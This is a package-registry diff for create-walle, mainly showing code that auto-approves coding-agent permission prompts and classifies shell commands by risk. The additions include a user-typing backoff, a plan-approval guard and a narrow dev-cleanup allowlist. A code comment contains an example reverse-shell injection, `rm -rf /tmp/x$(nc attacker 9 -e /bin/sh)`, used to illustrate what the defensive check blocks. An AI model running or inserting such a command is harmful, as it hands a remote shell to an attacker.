create-walle 0.9.25 → 0.9.26
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +8 -0
- package/bin/create-walle.js +815 -45
- package/package.json +2 -2
- package/template/bin/ctm-dev-cleanup.js +90 -4
- package/template/bin/ctm-launch.sh +49 -1
- package/template/bin/dev.sh +45 -1
- package/template/bin/ensure-stable-node.js +132 -0
- package/template/bin/install-service.sh +9 -0
- package/template/claude-task-manager/api-prompts.js +899 -119
- package/template/claude-task-manager/approval-agent.js +360 -40
- package/template/claude-task-manager/bin/ctm-disclaim.c +42 -0
- package/template/claude-task-manager/bin/ctm-hotkey.swift +67 -81
- package/template/claude-task-manager/bin/ctm-screen-auth.swift +37 -0
- package/template/claude-task-manager/bin/install-hotkey.sh +97 -49
- package/template/claude-task-manager/bin/restart-ctm.sh +14 -0
- package/template/claude-task-manager/db.js +399 -48
- package/template/claude-task-manager/docs/approval-hook-sandbox.md +84 -0
- package/template/claude-task-manager/docs/codex-app-server-approvals.md +72 -0
- package/template/claude-task-manager/docs/codex-native-sandbox.md +47 -0
- package/template/claude-task-manager/docs/prompt-editing-tree-design.md +18 -1
- package/template/claude-task-manager/lib/approval-hook.js +200 -0
- package/template/claude-task-manager/lib/approval-self-adapt.js +1 -0
- package/template/claude-task-manager/lib/auth-rules.js +11 -0
- package/template/claude-task-manager/lib/background-llm.js +32 -4
- package/template/claude-task-manager/lib/codesign-identity.js +140 -0
- package/template/claude-task-manager/lib/codex-app-server-client.js +119 -0
- package/template/claude-task-manager/lib/codex-approval-bridge.js +118 -0
- package/template/claude-task-manager/lib/codex-history-terminal-renderer.js +571 -0
- package/template/claude-task-manager/lib/codex-paths.js +73 -0
- package/template/claude-task-manager/lib/codex-rollout-snapshot.js +164 -0
- package/template/claude-task-manager/lib/codex-rollout-tail.js +72 -0
- package/template/claude-task-manager/lib/codex-sandbox-args.js +47 -0
- package/template/claude-task-manager/lib/coding-agent-models.js +118 -71
- package/template/claude-task-manager/lib/command-targets.js +163 -0
- package/template/claude-task-manager/lib/conversation-tail-merge.js +61 -19
- package/template/claude-task-manager/lib/db-owner-worker-client.js +29 -1
- package/template/claude-task-manager/lib/escalation-review.js +80 -3
- package/template/claude-task-manager/lib/flow-control.js +52 -0
- package/template/claude-task-manager/lib/fs-watcher.js +24 -15
- package/template/claude-task-manager/lib/ingest-cooldown.js +68 -0
- package/template/claude-task-manager/lib/jsonl-conversation-parser.js +8 -4
- package/template/claude-task-manager/lib/launchd-recovery.js +92 -0
- package/template/claude-task-manager/lib/microsoft-dev-tunnel-setup.js +207 -52
- package/template/claude-task-manager/lib/mobile-push-store.js +7 -0
- package/template/claude-task-manager/lib/model-overview-brain-fallback.js +102 -1
- package/template/claude-task-manager/lib/model-overview-cache.js +1 -0
- package/template/claude-task-manager/lib/oauth-proxy-supervisor.js +2 -1
- package/template/claude-task-manager/lib/perf-tracker.js +29 -2
- package/template/claude-task-manager/lib/permission-match.js +146 -16
- package/template/claude-task-manager/lib/project-slug.js +33 -0
- package/template/claude-task-manager/lib/prompt-intent.js +51 -4
- package/template/claude-task-manager/lib/read-pool-client.js +48 -3
- package/template/claude-task-manager/lib/real-node.js +73 -0
- package/template/claude-task-manager/lib/runtime-work-registry.js +131 -14
- package/template/claude-task-manager/lib/session-content-backfill.js +24 -5
- package/template/claude-task-manager/lib/session-diagnostics-batch.js +87 -0
- package/template/claude-task-manager/lib/session-history.js +5 -7
- package/template/claude-task-manager/lib/session-host-manager.js +19 -0
- package/template/claude-task-manager/lib/session-jobs.js +6 -0
- package/template/claude-task-manager/lib/session-message-response-cache.js +89 -0
- package/template/claude-task-manager/lib/session-messages-page.js +211 -0
- package/template/claude-task-manager/lib/session-messages-projection.js +170 -0
- package/template/claude-task-manager/lib/session-standup.js +8 -0
- package/template/claude-task-manager/lib/session-timeline-summary.js +16 -2
- package/template/claude-task-manager/lib/session-token-usage.js +30 -8
- package/template/claude-task-manager/lib/session-workspace-binding.js +29 -15
- package/template/claude-task-manager/lib/storage-migration.js +2 -1
- package/template/claude-task-manager/lib/transcript-store.js +179 -12
- package/template/claude-task-manager/lib/walle-ctm-history.js +298 -11
- package/template/claude-task-manager/lib/walle-permission-reply.js +49 -0
- package/template/claude-task-manager/lib/walle-session-cache.js +22 -1
- package/template/claude-task-manager/lib/walle-supervisor.js +42 -3
- package/template/claude-task-manager/package.json +5 -2
- package/template/claude-task-manager/prompt-harvest.js +31 -11
- package/template/claude-task-manager/providers/claude-code.js +29 -1
- package/template/claude-task-manager/providers/codex.js +13 -1
- package/template/claude-task-manager/public/css/setup.css +11 -0
- package/template/claude-task-manager/public/css/walle-session.css +132 -4
- package/template/claude-task-manager/public/css/walle.css +89 -0
- package/template/claude-task-manager/public/icon-16.png +0 -0
- package/template/claude-task-manager/public/icon-32.png +0 -0
- package/template/claude-task-manager/public/icon-512.png +0 -0
- package/template/claude-task-manager/public/index.html +2483 -165
- package/template/claude-task-manager/public/js/activation-render-check.js +55 -0
- package/template/claude-task-manager/public/js/flow-control-policy.js +52 -0
- package/template/claude-task-manager/public/js/message-renderer.js +60 -1
- package/template/claude-task-manager/public/js/prompts.js +13 -1
- package/template/claude-task-manager/public/js/session-status-precedence.js +9 -3
- package/template/claude-task-manager/public/js/setup.js +54 -10
- package/template/claude-task-manager/public/js/stream-resize-policy.js +80 -0
- package/template/claude-task-manager/public/js/stream-view.js +78 -0
- package/template/claude-task-manager/public/js/terminal-reconciler.js +52 -2
- package/template/claude-task-manager/public/js/tool-state.js +155 -0
- package/template/claude-task-manager/public/js/walle-session.js +887 -326
- package/template/claude-task-manager/public/js/walle.js +306 -195
- package/template/claude-task-manager/public/m/app.css +1 -0
- package/template/claude-task-manager/public/m/app.js +33 -3
- package/template/claude-task-manager/queue-engine.js +45 -1
- package/template/claude-task-manager/server.js +3367 -540
- package/template/claude-task-manager/workers/approval-blocklist.js +130 -17
- package/template/claude-task-manager/workers/db-owner-worker.js +31 -1
- package/template/claude-task-manager/workers/read-pool-worker.js +92 -5
- package/template/claude-task-manager/workers/session-host-process.js +10 -0
- package/template/claude-task-manager/workers/state-detectors/codex.js +58 -7
- package/template/package.json +2 -3
- package/template/shared/icons/AppIcon-ctm.icns +0 -0
- package/template/shared/icons/AppIcon-walle.icns +0 -0
- package/template/wall-e/agent.js +139 -18
- package/template/wall-e/api-walle.js +201 -22
- package/template/wall-e/bin/train-gemma-e4b-tooluse.js +1981 -0
- package/template/wall-e/brain.js +1049 -39
- package/template/wall-e/chat.js +427 -86
- package/template/wall-e/coding/acceptance-contract.js +26 -1
- package/template/wall-e/coding/action-memory-policy.js +353 -0
- package/template/wall-e/coding/action-memory-store.js +814 -0
- package/template/wall-e/coding/initial-messages.js +197 -0
- package/template/wall-e/coding/no-progress-guard.js +327 -0
- package/template/wall-e/coding/permission-service.js +88 -22
- package/template/wall-e/coding/session-workspaces.js +81 -0
- package/template/wall-e/coding/shell-sandbox.js +124 -0
- package/template/wall-e/coding/stream-processor.js +63 -2
- package/template/wall-e/coding/tool-execution-controller.js +14 -1
- package/template/wall-e/coding/tool-registry.js +1 -1
- package/template/wall-e/coding/transcript-writer.js +3 -0
- package/template/wall-e/coding-orchestrator.js +636 -35
- package/template/wall-e/coding-prompts.js +51 -2
- package/template/wall-e/docs/model-routing-policy.md +59 -0
- package/template/wall-e/docs/walle-shell-sandbox.md +61 -0
- package/template/wall-e/extraction/knowledge-extractor.js +76 -23
- package/template/wall-e/http/chat-api.js +30 -12
- package/template/wall-e/http/model-admin.js +93 -1
- package/template/wall-e/lib/background-lanes.js +133 -0
- package/template/wall-e/lib/boot-profile.js +11 -0
- package/template/wall-e/lib/brain-owner-worker-client.js +324 -0
- package/template/wall-e/lib/brain-read-pool-client.js +311 -0
- package/template/wall-e/lib/diagnostics-flags.js +87 -0
- package/template/wall-e/lib/event-loop-monitor.js +74 -3
- package/template/wall-e/lib/mcp-integration.js +7 -1
- package/template/wall-e/lib/real-node.js +98 -0
- package/template/wall-e/lib/runtime-health.js +206 -0
- package/template/wall-e/lib/runtime-worker-pool.js +101 -0
- package/template/wall-e/lib/scheduler-worker-jobs.js +231 -0
- package/template/wall-e/lib/scheduler.js +446 -17
- package/template/wall-e/lib/service-health.js +61 -2
- package/template/wall-e/lib/service-readiness.js +258 -0
- package/template/wall-e/lib/usage.js +152 -0
- package/template/wall-e/lib/worker-thread-pool.js +389 -0
- package/template/wall-e/llm/client.js +81 -4
- package/template/wall-e/llm/default-fallback.js +54 -8
- package/template/wall-e/llm/mlx.js +536 -73
- package/template/wall-e/llm/mlx.plugin.json +1 -1
- package/template/wall-e/llm/ollama.js +342 -43
- package/template/wall-e/llm/provider-error.js +18 -1
- package/template/wall-e/llm/provider-health-state.js +176 -0
- package/template/wall-e/llm/routing-policy.js +796 -0
- package/template/wall-e/llm/supported-models.js +5 -0
- package/template/wall-e/loops/tasks.js +60 -14
- package/template/wall-e/loops/think.js +89 -24
- package/template/wall-e/mcp-server.js +192 -28
- package/template/wall-e/server.js +32 -7
- package/template/wall-e/skills/script-skill-runner.js +8 -1
- package/template/wall-e/skills/skill-planner.js +64 -1
- package/template/wall-e/tools/builtin-middleware.js +67 -2
- package/template/wall-e/tools/local-tools.js +116 -26
- package/template/wall-e/tools/permission-checker.js +52 -4
- package/template/wall-e/tools/permission-rules.js +36 -0
- package/template/wall-e/tools/shell-analyzer.js +46 -1
- package/template/wall-e/training/gemma-e4b-qlora.js +314 -0
- package/template/wall-e/training/real-trajectory-miner.js +2617 -0
- package/template/wall-e/training/replay-eval-analysis.js +151 -0
- package/template/wall-e/training/run-shell-command-selector.js +277 -0
- package/template/wall-e/training/tool-sft-dataset.js +312 -0
- package/template/wall-e/training/tool-sft-renderers.js +144 -0
- package/template/wall-e/training/tool-trace-harvester.js +1440 -0
- package/template/wall-e/training/trajectory-action-selector.js +364 -0
- package/template/wall-e/weather-runtime.js +232 -0
- package/template/wall-e/workers/brain-owner-worker.js +162 -0
- package/template/wall-e/workers/brain-read-worker.js +148 -0
- package/template/wall-e/workers/runtime-worker.js +145 -0
|
@@ -218,6 +218,18 @@ function _scheduleGuardedApproval(session, context, headlessWorker, broadcastFn,
|
|
|
218
218
|
const _lastApproval = new Map(); // sessionId -> { fingerprint, ts }
|
|
219
219
|
const DEDUP_WINDOW_MS = 3000;
|
|
220
220
|
|
|
221
|
+
// User-input priority: when the human is actively driving a session (typing/arrowing at a
|
|
222
|
+
// prompt), the auto-approver must NOT inject keystrokes — its `y`/Enter/backspace would
|
|
223
|
+
// interleave with the user's arrow sequences and steal/garble navigation. handleInput marks
|
|
224
|
+
// the session active via markUserActive(); sendApprovalKeystroke yields within the backoff.
|
|
225
|
+
const _userActiveAt = new Map(); // sessionId -> ts (ms) of last manual keystroke
|
|
226
|
+
const USER_BACKOFF_MS = Math.max(0, Number(process.env.CTM_APPROVER_USER_BACKOFF_MS ?? 1500));
|
|
227
|
+
function _userIsDriving(sessionId) {
|
|
228
|
+
if (!sessionId || USER_BACKOFF_MS <= 0) return false;
|
|
229
|
+
const at = _userActiveAt.get(sessionId);
|
|
230
|
+
return !!at && (Date.now() - at) < USER_BACKOFF_MS;
|
|
231
|
+
}
|
|
232
|
+
|
|
221
233
|
// Determine which option to send — delegates to provider if available,
|
|
222
234
|
// falls back to Claude Code behavior ("2" for allow-all, "1" for plain Yes).
|
|
223
235
|
function getApproveKeystroke(context, options = {}) {
|
|
@@ -391,7 +403,15 @@ function parseApprovalContext(cleanText, providerId) {
|
|
|
391
403
|
if (fileOp) { toolName = fileOp.toolName; fileOpCommand = fileOp.command; }
|
|
392
404
|
}
|
|
393
405
|
|
|
394
|
-
|
|
406
|
+
// Bash approvals render the command followed by one dimmed prose description
|
|
407
|
+
// line; drop it from the command so titles/signatures stay command-shaped
|
|
408
|
+
// (mirror of the claude-code provider parse path).
|
|
409
|
+
let cmdLines = contextLines;
|
|
410
|
+
if (/^[⏺●]?\s*Bash\b/.test(toolName)) {
|
|
411
|
+
const cc = getProvider('claude-code');
|
|
412
|
+
if (cc && typeof cc.stripBashDescriptionTail === 'function') cmdLines = cc.stripBashDescriptionTail(contextLines);
|
|
413
|
+
}
|
|
414
|
+
const command = (fileOpCommand || cmdLines.join('\n')).trim();
|
|
395
415
|
|
|
396
416
|
// Build focused context: tool header + command + warning + prompt (not the whole screen)
|
|
397
417
|
const ctxStart = Math.max(0, endIdx - (contextLines.length + 1));
|
|
@@ -484,6 +504,75 @@ function isLiveApprovalPrompt(cleanText) {
|
|
|
484
504
|
return false;
|
|
485
505
|
}
|
|
486
506
|
|
|
507
|
+
// A Claude ExitPlanMode plan-approval ("…written up a plan and is ready to
|
|
508
|
+
// proceed?" with the plan-flow options) is the USER's deliberate plan decision,
|
|
509
|
+
// NOT a tool permission. CTM must stay fully hands-off: never auto-press a key
|
|
510
|
+
// (pressing "1" = "Yes, and use auto mode" auto-runs the WHOLE plan) and never
|
|
511
|
+
// raise the approval banner. The session still surfaces via the normal Needs-You
|
|
512
|
+
// signal. The generic wait-state classifier already tags these as a `choice`,
|
|
513
|
+
// but plan approvals are high-stakes, so this dedicated guard is applied on the
|
|
514
|
+
// main + rescue paths as defense-in-depth.
|
|
515
|
+
//
|
|
516
|
+
// Tight on purpose — requires BOTH a plan-flavored proceed question AND a
|
|
517
|
+
// plan-specific option/footer tell — so a genuine "Do you want to proceed?" Bash
|
|
518
|
+
// approval (a real permission, with plain "1. Yes / 2. No") is NOT swallowed.
|
|
519
|
+
const PLAN_APPROVAL_QUESTION_RE = /\b(?:written up a plan|ready to proceed|(?:would you like|do you want|like) to proceed)\b/i;
|
|
520
|
+
const PLAN_APPROVAL_OPTION_RE = /\byes,?\s*and\s*(?:use\s*)?auto[- ]?(?:mode|accept)|manually approve edits|(?:no,?\s*(?:and\s*)?)?keep planning|refine with\b|approve with this feedback|shift\+tab to approve\b/i;
|
|
521
|
+
function isPlanApprovalPrompt(cleanText) {
|
|
522
|
+
const text = String(cleanText || '');
|
|
523
|
+
if (!text.trim()) return false;
|
|
524
|
+
return PLAN_APPROVAL_QUESTION_RE.test(text) && PLAN_APPROVAL_OPTION_RE.test(text);
|
|
525
|
+
}
|
|
526
|
+
|
|
527
|
+
// Content-addressed fingerprint of a visible ExitPlanMode plan card, used to
|
|
528
|
+
// drive the server's convergence render ("keep pushing a clean snapshot until a
|
|
529
|
+
// frame carrying THIS card has reached the clients"). It must be:
|
|
530
|
+
// - DISTINCT per plan (so a new plan re-renders, never deduped against an old
|
|
531
|
+
// one) → we hash the whole card region, including the plan body text, not
|
|
532
|
+
// just the static option labels (which collide across plans); and
|
|
533
|
+
// - STABLE across the live spinner / token counter / elapsed-time churn (so a
|
|
534
|
+
// settled card is not re-pushed every frame) → we mask those volatile bits
|
|
535
|
+
// before hashing.
|
|
536
|
+
// Expects ANSI-stripped text. Returns null when no plan card is present.
|
|
537
|
+
const PLAN_FP_VOLATILE_RES = [
|
|
538
|
+
/\(\s*\d+\s*m\s*\d+\s*s\s*\)/g, // elapsed "(5m 50s)"
|
|
539
|
+
/\b[\d.,]+\s*k?\s*tokens?\b/gi, // "22.7k tokens"
|
|
540
|
+
/\besc to interrupt\b/gi, // composer footer churn
|
|
541
|
+
/[⠀-⣿◐◓◑◒·✢✳✻✽∗⋆]/g, // braille + asterisk spinner glyphs
|
|
542
|
+
/\b\d{1,2}:\d{2}(?::\d{2})?\b/g, // clocks
|
|
543
|
+
];
|
|
544
|
+
// Shared volatile-masked djb2 hash of a card region (cheap, collision-safe enough for
|
|
545
|
+
// frame identity). Masks the spinner / token counter / elapsed-time / clock churn so a
|
|
546
|
+
// settled card is not re-pushed every frame.
|
|
547
|
+
function _maskedCardHash(cleanText) {
|
|
548
|
+
let norm = String(cleanText || '');
|
|
549
|
+
for (const re of PLAN_FP_VOLATILE_RES) norm = norm.replace(re, ' ');
|
|
550
|
+
norm = norm.replace(/\s+/g, ' ').trim().toLowerCase();
|
|
551
|
+
let h = 5381;
|
|
552
|
+
for (let i = 0; i < norm.length; i++) h = (((h << 5) + h) ^ norm.charCodeAt(i)) >>> 0;
|
|
553
|
+
return h.toString(16);
|
|
554
|
+
}
|
|
555
|
+
|
|
556
|
+
function planCardFingerprint(cleanText) {
|
|
557
|
+
const text = String(cleanText || '');
|
|
558
|
+
if (!isPlanApprovalPrompt(text)) return null;
|
|
559
|
+
return 'plan-' + _maskedCardHash(text);
|
|
560
|
+
}
|
|
561
|
+
|
|
562
|
+
// General selection-card identity for the convergence render: AskUserQuestion menus,
|
|
563
|
+
// permission prompts, and any other interactive card. UNLIKE planCardFingerprint, this
|
|
564
|
+
// does NOT decide whether a card is present — the CALLER establishes that via the proven
|
|
565
|
+
// structural classifier (lib/wait-state.js evaluateWaitState → kind 'choice'/'approval',
|
|
566
|
+
// which is position-based and footer-agnostic, so it fires even when an 'esc to interrupt'
|
|
567
|
+
// composer footer is co-painted). This just produces the stable, volatile-masked frame
|
|
568
|
+
// identity the convergence render dedups on (distinct per card, stable across spinner churn).
|
|
569
|
+
// Returns null only for empty text. Expects ANSI-stripped text.
|
|
570
|
+
function cardTextFingerprint(cleanText) {
|
|
571
|
+
const text = String(cleanText || '');
|
|
572
|
+
if (!text.trim()) return null;
|
|
573
|
+
return 'card-' + _maskedCardHash(text);
|
|
574
|
+
}
|
|
575
|
+
|
|
487
576
|
// Normalize a command into a stable "signature" by extracting the command structure
|
|
488
577
|
// and replacing variable parts (paths, strings, numbers) with placeholders.
|
|
489
578
|
// Examples:
|
|
@@ -521,6 +610,10 @@ function normalizeCommandSignature(toolName, command) {
|
|
|
521
610
|
.replace(/(["'`])(?:(?!\1).)*\1/g, '<arg>')
|
|
522
611
|
// Replace URLs with <url>
|
|
523
612
|
.replace(/https?:\/\/\S+/g, '<url>')
|
|
613
|
+
// Replace UUIDs (session SIDs etc.) with <id> BEFORE <num>, so a per-session
|
|
614
|
+
// id doesn't fragment the signature (the digit runs inside a UUID aren't
|
|
615
|
+
// \b-bounded, so <num> would leave it mostly literal and unique per run).
|
|
616
|
+
.replace(/\b[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\b/gi, '<id>')
|
|
524
617
|
// Replace absolute paths with <path>
|
|
525
618
|
.replace(/(?:\/[\w._-]+){2,}/g, '<path>')
|
|
526
619
|
// Replace standalone numbers (PIDs, ports, line numbers) with <num>
|
|
@@ -722,18 +815,6 @@ function escalationCommandParts(context) {
|
|
|
722
815
|
return { title, signature };
|
|
723
816
|
}
|
|
724
817
|
|
|
725
|
-
// A rescue candidate is "actionable" only when we have a concrete command to show
|
|
726
|
-
// the operator AND the parser classified the tool. An empty command or an
|
|
727
|
-
// "Unknown" tool means the parse degraded (almost always approval-shaped PROSE,
|
|
728
|
-
// not a live prompt) — escalating it just yields a confusing, meaningless banner.
|
|
729
|
-
function _rescueCandidateActionable(context) {
|
|
730
|
-
if (!context) return false;
|
|
731
|
-
if (!escalationCommandParts(context).title) return false;
|
|
732
|
-
const tool = String(context.toolName || '').replace(/^[⏺●\s]+/, '').trim().toLowerCase();
|
|
733
|
-
if (!tool || tool === 'unknown') return false;
|
|
734
|
-
return true;
|
|
735
|
-
}
|
|
736
|
-
|
|
737
818
|
// The crisp, OBJECTIVE reason a command was sent to review instead of auto-approved
|
|
738
819
|
// — a category + sentence, NOT the AI verifier's vague free-text. First match wins
|
|
739
820
|
// (priority order). Shown in the session banner and the Pending group's "Why
|
|
@@ -892,6 +973,10 @@ function _splitShellClauses(cmd) {
|
|
|
892
973
|
if (depth > 0) { buf += ch; continue; }
|
|
893
974
|
if (ch === '\n' || ch === ';') { clauses.push(buf); buf = ''; continue; }
|
|
894
975
|
if (ch === '&' || ch === '|') {
|
|
976
|
+
// A `&` that is part of a redirect (`2>&1`, `>&2`, `&>file`) is NOT a
|
|
977
|
+
// clause separator — splitting there manufactured a bogus `1` clause that
|
|
978
|
+
// forced common `… 2>&1 | …` commands to medium risk.
|
|
979
|
+
if (ch === '&' && (s[i - 1] === '>' || next === '>')) { buf += ch; continue; }
|
|
895
980
|
// && || |& all consume two chars; single & or | consume one.
|
|
896
981
|
if (next === ch || (ch === '|' && next === '&')) { i += 1; }
|
|
897
982
|
clauses.push(buf); buf = ''; continue;
|
|
@@ -910,6 +995,136 @@ function _isProcessControlClause(clause) {
|
|
|
910
995
|
return /\b(?:kill|pkill|killall)\b/.test(clause) || /\bxargs\b[\s\S]*\bkill\b/.test(clause);
|
|
911
996
|
}
|
|
912
997
|
|
|
998
|
+
// Pure shell control-flow keywords execute nothing on their own — they only
|
|
999
|
+
// structure a loop/conditional. The clause splitter emits them as standalone
|
|
1000
|
+
// clauses (`for f in …`, `do`, `done`, `then`, `fi`, `esac`, …). Classifying them
|
|
1001
|
+
// as unknown COMMANDS used to force every looped command to 'medium' → the LLM
|
|
1002
|
+
// verifier, even when the loop body was entirely safe. They carry no risk by
|
|
1003
|
+
// themselves, so they are skipped like a bare assignment. The COMMANDS inside the
|
|
1004
|
+
// body are split into their own clauses and classified independently, so a
|
|
1005
|
+
// dangerous body (`do rm -rf /; done`, `do kill …; done`) still escalates — the
|
|
1006
|
+
// MAX-risk-per-clause invariant (and the whole-command high-risk scan above) is
|
|
1007
|
+
// untouched.
|
|
1008
|
+
function _isControlFlowClause(clause) {
|
|
1009
|
+
const c = String(clause || '').trim();
|
|
1010
|
+
if (!c) return true;
|
|
1011
|
+
// Bare structural keywords / block punctuation (nothing executes).
|
|
1012
|
+
if (/^(?:do|done|then|else|fi|esac|in|;;|\{|\})$/.test(c)) return true;
|
|
1013
|
+
// Loop/conditional headers that introduce no command of their own:
|
|
1014
|
+
// `for VAR in LIST`, `case WORD in`. Skipped ONLY when the header contains no
|
|
1015
|
+
// command substitution ($(…) / backticks) — a substitution IS a real exec
|
|
1016
|
+
// vector and must stay classified, so such a header falls through to review.
|
|
1017
|
+
if (/^for\s+\w+\s+in\b/.test(c) && !/\$\(|`/.test(c)) return true;
|
|
1018
|
+
if (/^case\s+\S+\s+in\b/.test(c) && !/\$\(|`/.test(c)) return true;
|
|
1019
|
+
return false;
|
|
1020
|
+
}
|
|
1021
|
+
|
|
1022
|
+
// A real command can be glued to a leading control keyword by the splitter
|
|
1023
|
+
// (`do sips …`, `then make …`, `while read …`, `if test …`). Strip the keyword so
|
|
1024
|
+
// the body command itself is risk-classified, not the keyword. Process-control,
|
|
1025
|
+
// high-risk, and devSafe checks then apply to the actual command.
|
|
1026
|
+
function _stripLeadingControlKeyword(clause) {
|
|
1027
|
+
return String(clause || '').replace(/^\s*(?:do|then|else|elif|while|until|if)\s+/, '');
|
|
1028
|
+
}
|
|
1029
|
+
|
|
1030
|
+
// --- Dev-instance cleanup family -------------------------------------------
|
|
1031
|
+
// Stopping a local dev server and removing its /tmp scratch is a routine,
|
|
1032
|
+
// repeated action (lsof -ti :PORT | xargs kill ; rm -rf /tmp/<scratch>). On its
|
|
1033
|
+
// own each piece classifies 'medium' (kill = process control, rm = unrecognized)
|
|
1034
|
+
// so it parks the agent every time. These three helpers recognize ONLY that
|
|
1035
|
+
// narrow shape; anything broader (kill by name, kill -1, rm outside /tmp, a
|
|
1036
|
+
// `..` escape) does NOT match and falls through to the normal medium/high path.
|
|
1037
|
+
|
|
1038
|
+
// Shell metacharacters that introduce EXECUTION or expansion: command/process
|
|
1039
|
+
// substitution ($(…) / `…` / <(…)), brace/arith expansion, redirects, subshells.
|
|
1040
|
+
// Any clause containing these is disqualified from the auto-approve allowlist —
|
|
1041
|
+
// otherwise `rm -rf /tmp/x$(nc attacker 9 -e /bin/sh)` would pass the /tmp-shape
|
|
1042
|
+
// check (the substitution is glued to a /tmp token with no whitespace) and the
|
|
1043
|
+
// embedded command would run. Pipes/semicolons are NOT here: the splitter
|
|
1044
|
+
// already breaks on them, so each clause is classified on its own. `*?[]` glob
|
|
1045
|
+
// chars are allowed (rm of /tmp/walle-stream*.txt is a normal cleanup).
|
|
1046
|
+
function _hasShellExecMetachars(s) {
|
|
1047
|
+
return /[`$()<>{}\\]/.test(String(s || ''));
|
|
1048
|
+
}
|
|
1049
|
+
|
|
1050
|
+
// `rm [-flags] <targets>` where EVERY target is strictly under /tmp/ (at least
|
|
1051
|
+
// one segment below /tmp, no bare /tmp, no `..` escape) and contains only safe
|
|
1052
|
+
// path/glob characters. Recursive is fine here — the blast radius is confined to
|
|
1053
|
+
// temp scratch. A substitution/expansion anywhere in the clause disqualifies it.
|
|
1054
|
+
function _isTmpScopedRmClause(clause) {
|
|
1055
|
+
const c = String(clause || '').trim();
|
|
1056
|
+
if (!/^rm\b/.test(c)) return false;
|
|
1057
|
+
if (_hasShellExecMetachars(c)) return false;
|
|
1058
|
+
const targets = [];
|
|
1059
|
+
let flagsDone = false;
|
|
1060
|
+
for (const tok of c.split(/\s+/).slice(1)) {
|
|
1061
|
+
if (!flagsDone && tok === '--') { flagsDone = true; continue; }
|
|
1062
|
+
if (!flagsDone && /^-/.test(tok)) continue;
|
|
1063
|
+
targets.push(tok.replace(/^['"]|['"]$/g, ''));
|
|
1064
|
+
}
|
|
1065
|
+
if (!targets.length) return false;
|
|
1066
|
+
return targets.every((t) => !/\/\.\.?(\/|$)/.test(t) && /^\/tmp\/[\w.\-/*?[\]]+$/.test(t));
|
|
1067
|
+
}
|
|
1068
|
+
|
|
1069
|
+
// Port-scoped process termination: `lsof -ti :PORT | xargs kill [-SIG]` (fed by
|
|
1070
|
+
// the lsof producer in the same pipeline) or `kill [-SIG] <numeric pids>`. Never
|
|
1071
|
+
// matches a kill of process group/all (`-1`) or kill-by-name (pkill/killall).
|
|
1072
|
+
function _isPortScopedKillClause(clause) {
|
|
1073
|
+
const c = String(clause || '').trim();
|
|
1074
|
+
if (_hasShellExecMetachars(c)) return false;
|
|
1075
|
+
if (/\bpkill\b|\bkillall\b/.test(c)) return false;
|
|
1076
|
+
if (/\bkill\b[\s\S]*(?:^|\s)-1\b/.test(c)) return false; // kill … -1 (all/process-group)
|
|
1077
|
+
if (/^xargs\b[\s\S]*\bkill\b/.test(c)) return true; // PIDs arrive via stdin from lsof
|
|
1078
|
+
const m = c.match(/^kill\b(.*)$/);
|
|
1079
|
+
if (!m) return false;
|
|
1080
|
+
const targets = m[1].trim().split(/\s+/).filter(Boolean).filter((a) => !a.startsWith('-'));
|
|
1081
|
+
return targets.length > 0 && targets.every((a) => /^\d+$/.test(a));
|
|
1082
|
+
}
|
|
1083
|
+
|
|
1084
|
+
// `lsof -ti :PORT` style PID producer (terse + by-port). Read-only; only useful
|
|
1085
|
+
// here as the safe left side of the port-kill pipeline.
|
|
1086
|
+
function _isDevPortLsofClause(clause) {
|
|
1087
|
+
const c = String(clause || '').trim();
|
|
1088
|
+
if (_hasShellExecMetachars(c)) return false;
|
|
1089
|
+
return /^lsof\b/.test(c) && /-[a-z]*t/.test(c) && /:\d{2,5}\b/.test(c);
|
|
1090
|
+
}
|
|
1091
|
+
|
|
1092
|
+
// True only when the WHOLE command is the dev-cleanup family: every clause is a
|
|
1093
|
+
// port-scoped kill, a /tmp-scoped rm, the lsof PID producer, a sleep, or an
|
|
1094
|
+
// inherently-harmless assignment/control-flow keyword. Deliberately NARROW so it
|
|
1095
|
+
// does not punch through the per-clause-max process-control guardrail (the
|
|
1096
|
+
// Cursor `&&`-allowlist-bypass CVE class): a kill clause only counts as cleanup
|
|
1097
|
+
// when the command ALSO contains an `lsof :PORT` producer (i.e. killing whatever
|
|
1098
|
+
// holds a local port) — a bare `kill -9 <pid>`, a kill mixed with any unrelated
|
|
1099
|
+
// command, or a kill-by-name (pkill/killall) all stay 'medium' → verifier.
|
|
1100
|
+
// Operates on the already-unwrapped, lowercased command.
|
|
1101
|
+
function _isDevCleanupCommand(cmd) {
|
|
1102
|
+
const clauses = _splitShellClauses(cmd);
|
|
1103
|
+
if (!clauses.length) return false;
|
|
1104
|
+
let sawLsofPort = false, sawKill = false, sawTmpRm = false;
|
|
1105
|
+
for (const raw of clauses) {
|
|
1106
|
+
const c = _stripLeadingControlKeyword(raw).trim();
|
|
1107
|
+
if (!c) continue;
|
|
1108
|
+
// Any exec metacharacter ($()/`…`/<()/>()/{}/subshell/redirect) disqualifies
|
|
1109
|
+
// the whole command BEFORE the harmless-looking skips below — otherwise a
|
|
1110
|
+
// clause like `FOO=<(nc …)` (skipped as a bare assignment) or a redirect to
|
|
1111
|
+
// an arbitrary file would smuggle execution into an auto-approved teardown.
|
|
1112
|
+
if (_hasShellExecMetachars(c)) return false;
|
|
1113
|
+
if (_isControlFlowClause(c)) continue;
|
|
1114
|
+
if (/^\w+=/.test(c) && !/\$\((?!\()/.test(c) && !/`/.test(c)) continue; // bare assignment
|
|
1115
|
+
if (/^sleep\s+[\d.]+\s*$/.test(c)) continue;
|
|
1116
|
+
if (_isDevPortLsofClause(c)) { sawLsofPort = true; continue; }
|
|
1117
|
+
if (_isPortScopedKillClause(c)) { sawKill = true; continue; }
|
|
1118
|
+
if (_isTmpScopedRmClause(c)) { sawTmpRm = true; continue; }
|
|
1119
|
+
return false; // any other clause disqualifies the whole command
|
|
1120
|
+
}
|
|
1121
|
+
// A kill only qualifies as dev-cleanup when paired with an lsof port producer;
|
|
1122
|
+
// otherwise it stays medium (the process-control guardrail). A pure /tmp-scoped
|
|
1123
|
+
// rm needs no lsof — its blast radius is confined to scratch.
|
|
1124
|
+
if (sawKill && !sawLsofPort) return false;
|
|
1125
|
+
return sawKill || sawTmpRm;
|
|
1126
|
+
}
|
|
1127
|
+
|
|
913
1128
|
// Simple heuristic review when no API key is available
|
|
914
1129
|
function reviewWithHeuristics(context) {
|
|
915
1130
|
